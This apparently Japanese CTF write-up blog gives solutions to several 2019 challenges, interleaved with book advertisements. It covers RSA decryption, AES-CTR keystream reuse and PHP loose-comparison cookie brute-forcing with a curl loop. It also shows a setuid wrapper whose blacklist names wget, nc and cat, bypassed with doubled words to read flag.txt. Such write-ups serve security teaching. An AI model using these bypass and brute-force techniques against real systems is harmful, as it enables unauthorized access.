CTF日本語サイト

cuz_rsa_is_lub

161

rsa.txt

Author: Akir4

def exgcd(m, n):

  if n>0:

    y,x,d = exgcd(n, m%n)

    return x, y-m/n*x, d

  else:

    return 1, 0, m

n = 71641831546926719303369645296528546480083425905458247405279061196214424558100678947996271179659761521775290973790597533683668081173314940392098256721488468660504161994357

e = 65537

c = 63127079832500412362950100242549738176318170072331491750802716138621322974529994914407846448954487685068331564008936808539420562251661435790855422130443584773306161128156

p = 8464149782874043593254414191179506861158311266932799636000173971661904149225893113311

q = 8464149782874043593254414191179506861158311266932799636000173971661904149225893113387

d = exgcd(e, (p-1)*(q-1))[0] % ((p-1)*(q-1))

s = pow(c, d, n)

h = format(s, 'x')

f = ''

for i in range(0, len(h), 2):

f += chr(int(h[i:i+2], 16))

print(f)

b00t2root{RSA_c4n_b3_vuln3r4bl3}

RSA暗号を可能にしたEulerの定理 [単行本（ソフトカバー）]

田中 隆幸

東京図書出版

2017-02-03

Welcome

50

Welcome to b00t2root CTF. Join the slack channel to get your flag.

slack

b00t2root{w3lc0me_h0pe_y0u_h4v3_fun}

Spring Boot 2 プログラミング入門 [単行本]

掌田津耶乃

秀和システム

2018-01-30

22:29 チャンネルに入りました

22:29 *xxxxxx join #0ctf2019 (~xxxxxx@yyy.zzz)

22:29 *topic : Hello, everyone! Hope you enjoy our game on https://ctf.0ops.sjtu.cn/. And here is your cute flag: flag{Welcome_t0_0ctf_2019!!!}

flag{Welcome_t0_0ctf_2019!!!}

動かして学ぶセキュリティ入門講座 (Informatics&IDEA) [単行本]

岩井 博樹

SBクリエイティブ

2017-05-24

Easy Trade

708

We just intercepted some newbies trying to trade flags.

Author: bibiwars

 foren_trade.pcap

securinetsXD

c2VjdXJpbmV0c3s5NTRmNjcwY2IyOTFlYzI3NmIxYTlmZjg0NTNlYTYwMX0

securinets{954f670cb291ec276b1a9ff8453ea601}

パケットキャプチャの教科書 (Informatics&IDEA) [単行本]

みやた ひろし

SBクリエイティブ

2017-10-14

EZ

897

Welcome to Securinets, this one is an easy one.

Please make sure you hash the WORD with sha1 (lowercase hash letter)

The final flag is : Securinets{the_hash_of_the_word}

Pic Link

Author:BlueWhale

But he merely drew out a <DETELED_WORD> in which he had scribbled some

memorandum-book

Securinets{b47f0d2a8866a75696f94a515d0cdf54c7ea3174}

数学テクノロジー入門 (IMIシリーズ:進化する産業数学) [単行本]

岡田 勘三

近代科学社

2018-08-30

HIDDEN

495

My friend asked me to find his hidden flag in this link .. Can you help me?

Link

Author:Tr'GFx

Securinets{HiDDeN_D@tA_In_S3lF_S3iGnEd_CeRtifICates}

プロフェッショナルSSL/TLS [単行本（ソフトカバー）]

Ivan Ristić

ラムダノート

2018-06-04

Sanity Check

10

Join our discord server to get the flag : Link

Securinets{PReQu@l$_2K19}

サイバーセキュリティ レッドチーム実践ガイド [単行本（ソフトカバー）]

Peter Kim

マイナビ出版

2019-01-29

Welcome

703

Unlike other CTFs we build a custom welcome for u \o/

Your goal is to execute welcome binary ssh welcome@51.254.114.246

password : bc09c4a0a957b3c6d8adbb47ab0419f7

Author : Anis_Boss

$ ls -al

total 56

dr-xr-xr-x  2 welcome         welcome          4096 Mar 23 20:23 .

drwxr-xr-x 22 root            root             4096 Mar 23 23:03 ..

-rw-r--r--  1 root            root                0 Mar 24 07:25 .bash_history

-rw-r--r--  1 welcome         welcome             0 Mar 24 00:22 .bash_logout

-rw-r--r--  1 welcome         welcome          3812 Mar 24 04:46 .bashrc

-rw-r--r--  1 welcome         welcome           655 May 16  2017 .profile

-r--------  1 welcome-cracked welcome-cracked    76 Mar 23 20:23 flag.txt

-r--------  1 welcome-cracked welcome          8712 Mar 23 19:09 welcome

-rw-r-----  1 root            root              175 Mar 23 12:27 welcome.c

-r-s--x---  1 welcome-cracked welcome         13088 Mar 23 20:13 wrapper

-rw-r--r--  1 root            root             1741 Mar 23 20:13 wrapper.c

$ cat wrapper.c

/* author : Anis_Boss */

#include <stdio.h>

int search(char str[], char word[])

{

    int l, i, j;

    /*length of word */

   for (l = 0; word[l] != '\0'; l++);

    for (i = 0, j = 0; str[i] != '\0' && word[j] != '\0'; i++)

    {

        if (str[i] == word[j])

        {

            j++;

        }

        else

        {

            j = 0;

        }

    }

    if (j == l)

    {

        /* substring found */

        return (i - j);

    }

    else

    {

        return  - 1;

    }

}

int delete_word(char str[], char word[], int index)

{

    int i, l;

    /* length of word */

    for (l = 0; word[l] != '\0'; l++);

    for (i = index; str[i] != '\0'; i++)

    {

        str[i] = str[i + l + 1];

    }

}

void main(int argc, char* argv[])

{

char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};

 char str[80], word[50];

    int index;

    printf("Welcome to Securinets Quals CTF \o/ \n");

    printf("Enter string:\n");

    read(0,str,79);

for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++)

{

    index = search(str, blacklist[i]);

    if (index !=  - 1)

    {

        delete_word(str, blacklist[i], index);

    }

}

setreuid(geteuid(),geteuid());

close(0);

system(str);

}

$ ./wrapper

Welcome to Securinets Quals CTF o/ 

Enter string:

ls | ls

flag.txt  welcome  welcome.c  wrapper  wrapper.c

$ ./wrapper

Welcome to Securinets Quals CTF o/ 

Enter string:

cat cat flag flag.txt txt

securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}

securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}

です。

[試して理解]Linuxのしくみ ~実験と図解で学ぶOSとハードウェアの基礎知識 [単行本（ソフトカバー）]

武内 覚

技術評論社

2018-02-23

Count me in!

Points: 500

Solves: 1

I've been lately using this cool AES-CTR, but it was super slow, so I made a parallel version. Now it's blazing fast, but for some reason I have trouble decrypting the data...

count_me_in.tar.gz 2.2 KB

import multiprocessing

from Crypto.Cipher import AES

from secret import key, flag

counter = 0

aes = AES.new(key, AES.MODE_ECB)

def chunk(input_data, size):

    return [input_data[i:i + size] for i in range(0, len(input_data), size)]

def xor(*t):

    from functools import reduce

    from operator import xor

    return [reduce(xor, x, 0) for x in zip(*t)]

def xor_string(t1, t2):

    t1 = map(ord, t1)

    t2 = map(ord, t2)

    return "".join(map(chr, xor(t1, t2)))

def pad(data):

    pad_byte = 16 - len(data) % 16

    return data + (chr(pad_byte) * pad_byte)

def worker_function(block):

    global counter

    key_stream = aes.encrypt(pad(str(counter)))

    result = xor_string(block, key_stream)

    counter += 1

    return result

def distribute_work(worker, data_list, processes=8):

    pool = multiprocessing.Pool(processes=processes)

    result = pool.map(worker, data_list)

    pool.close()

    return result

def encrypt_parallel(plaintext, workers_number):

    chunks = chunk(pad(plaintext), 16)

    results = distribute_work(worker_function, chunks, workers_number)

    return "".join(results)

def main():

    plaintext = """The Song of the Count

You know that I am called the Count

Because I really love to count

I could sit and count all day

Sometimes I get carried away

I count slowly, slowly, slowly getting faster

Once I've started counting it's really hard to stop

Faster, faster. It is so exciting!

I could count forever, count until I drop

1! 2! 3! 4!

1-2-3-4, 1-2-3-4,

1-2, i love couning whatever the ammount haha!

1-2-3-4, heyyayayay heyayayay that's the sound of the count

I count the spiders on the wall...

I count the cobwebs in the hall...

I count the candles on the shelf...

When I'm alone, I count myself!

I count slowly, slowly, slowly getting faster

Once I've started counting it's really hard to stop

Faster, faster. It is so exciting!

I could count forever, count until I drop

1! 2! 3! 4!

1-2-3-4, 1-2-3-4, 1,

2 I love counting whatever the

ammount! 1-2-3-4 heyayayay heayayay 1-2-3-4

That's the song of the Count!

""" + flag

    encrypted = encrypt_parallel(plaintext, 32)

    print(encrypted.encode("hex"))

if __name__ == '__main__':

    multiprocessing.freeze_support()

    main()

9d5c66e65fae92af9c8a55d9d3bf640e

’The Song of the '

54686520536f6e67206f662074686520

c93403c60cc1fcc8bce533f9a7d7012e

import binascii

def xor(*t):

    from functools import reduce

    from operator import xor

    return [reduce(xor, x, 0) for x in zip(*t)]

def xor_string(t1, t2):

    t1 = map(ord, t1)

    t2 = map(ord, t2)

    return "".join(map(chr, xor(t1, t2)))

def decrypt(no):

encry = s[no*32:no*32+32]

plain = plaintext[no*16:no*16+16]

key_stream = xor_string(binascii.unhexlify(encry), plain)

for enc in l:

plain = xor_string(binascii.unhexlify(enc), key_stream)

print([plain])

plaintext = """The Song of the Count

You know that I am called the Count

Because I really love to count

I could sit and count all day

Sometimes I get carried away

I count slowly, slowly, slowly getting faster

Once I've started counting it's really hard to stop

Faster, faster. It is so exciting!

I could count forever, count until I drop

1! 2! 3! 4!

1-2-3-4, 1-2-3-4,

1-2, i love couning whatever the ammount haha!

1-2-3-4, heyyayayay heyayayay that's the sound of the count

I count the spiders on the wall...

I count the cobwebs in the hall...

I count the candles on the shelf...

When I'm alone, I count myself!

I count slowly, slowly, slowly getting faster

Once I've started counting it's really hard to stop

Faster, faster. It is so exciting!

I could count forever, count until I drop

1! 2! 3! 4!

1-2-3-4, 1-2-3-4, 1,

2 I love counting whatever the

ammount! 1-2-3-4 heyayayay heayayay 1-2-3-4

That's the song of the Count!

"""

f = open('output.txt')

s = f.read()

f.close()

l = [s[i: i+32] for i in range(0, len(s), 32)]

decrypt(0)

decrypt(10)

decrypt(20)

decrypt(30)

decrypt(39)

decrypt(49)

decrypt(54)

decrypt(55)

$ python bbb.py

['The Song of the ']

['Count\n\nYou know ']

['that I am called']

[' the Count\nBecau']

['se I really love']

[' to count\nI coul']

['d sit and count ']

['all day\nSometime']

['s I get carried ']

['away\nI count slo']

(略)

['wly, slowly, slo']

['wly getting fast']

["er\nOnce I've sta"]

['rted counting it']

["'s really hard t"]

['o stop\nFaster, f']

['aster. It is so ']

['exciting!\nI coul']

['d count forever,']

[' count until I d']

(略)

['rop\n1! 2! 3! 4!\n']

['1-2-3-4, 1-2-3-4']

[',\n1-2, i love co']

['uning whatever t']

['he ammount haha!']

['\n1-2-3-4, heyyay']

['ayay heyayayay t']

["hat's the sound "]

['of the count\nI c']

['ount the spiders']

(略)

[' on the wall...\n']

['I count the cobw']

['ebs in the hall.']

['..\nI count the c']

['andles on the sh']

["elf...\nWhen I'm "]

['alone, I count m']

['yself!\nI count s']

['lowly, slowly, s']

['\n\xa4\x17\x84\x1aDc\xd5\xbbN\x84\x05=q3_']

["ster\nOnce I've s"]

(略)

['lowly getting fa']

['\x15\xbf\x05\x9ai+j\xd3\xaa\x1a\xa4L,4uM']

['tarted counting ']

["it's really hard"]

[' to stop\nFaster,']

[' faster. It is s']

['o exciting!\nI co']

['uld count foreve']

['r, count until I']

[' drop\n1! 2! 3! 4']

['\x7f\xc8\xf6\xda\xdb\x8c4\x9f\xed\xf5\x12\x07\xb1\xb9\xac\xf2']

['-4, 1,\n2 I love ']

(略)

['!\n1-2-3-4, 1-2-3']

['s\xf6\xeb\xd7\xd8\x8d\r\x80\xf9\x90\x12Z\xf3\xfd\xe4\xe1']

['counting whateve']

['r the\nammount! 1']

['-2-3-4 heyayayay']

['^l\xebK\x13\x91\x97\xff\x94F\x80\xc0\xf7d\x16U']

['\xb2\xecR\xf0\x05*\x8ez\xe0{,|.\xf5\xde\xf6']

['g of the Count!\n']

(略)
[' heayayay 1-2-3-']

['\xcc\xe8\xdc\xdao\xda`\xe4\r\x1d\x9d\x91\xeb\xbc\xfb\x8e']

['\x19$\xe1LJ\x84\x86\xfb\xcd%\xde\x98\xab=\x04r']

['p4{at_the_end_of']

['_the_day_you_can']

(略)

["4\nThat's the son"]

['\xe1\xc6i\xfeD*\xc1l\xe0L+l`\xf2\x90\x92']

['\x88\xd6\xf3\xd3z\xf13\xffH6\x90\x9a\xaf\x90\xfb\x86']

['\xa7\x96\xe0\xd7Q\xca&\xeer\x10\x9a\x81\x94\xac\xf5\x8e']

['_only_count_on_y']

['ourself}\x08\x08\x08\x08\x08\x08\x08\x08']

p4{at_the_end_of_the_day_you_can_only_count_on_yourself}

です。

暗号技術の教科書 [単行本（ソフトカバー）]

吹田 智章

ラトルズ

2018-12-21

My admin panel

Points: 77

Solves: 74

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

https://gameserver.zajebistyc.tf/admin/

<?php

include '../func.php';

include '../config.php';

if (!$_COOKIE['otadmin']) {

    exit("Not authenticated.\n");

}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {

    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";

    exit();

}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {

    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {

        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);

    }

    exit("\n");

}

display_admin();

cookieに{"hash": "0123456789ABCDEF"}をセットしてアクセスしてみます。下図のようにヒントが表示されます。

for i in `seq 0 999`

do

    echo $i

    out=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`

    echo $out

    if [ "`echo $out | grep p4{`" ]; then break; fi

done

0

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100    78    0    78    0     0    120      0 --:--:-- --:--:-- --:--:--   120

I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400

(略)

389

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100    58    0    58    0     0    160      0 --:--:-- --:--:-- --:--:--   160

Congratulations! p4{wtf_php_comparisons_how_do_they_work}

p4{wtf_php_comparisons_how_do_they_work}

TECHNICAL MASTER はじめてのPHPプロフェッショナル開発 PHP7対応 [単行本]

伊藤 翔

秀和システム

2019-02-26